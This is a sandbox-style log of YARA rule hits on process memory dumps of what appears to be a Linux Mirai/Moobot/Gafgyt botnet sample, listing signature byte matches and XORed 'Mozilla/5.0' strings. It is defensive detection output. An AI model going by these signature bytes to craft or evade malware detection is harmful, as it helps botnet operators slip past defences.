6378.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6378.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6635.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6570.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6570.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6570.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6570.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6570.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6570.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6855.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6601.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6601.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6601.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6601.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6601.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6601.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6954.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7344.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7344.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7344.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7344.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7344.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7344.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7329.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7329.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7329.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7329.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7329.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7329.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6529.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6529.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6529.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6529.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6529.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6529.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7212.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7212.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
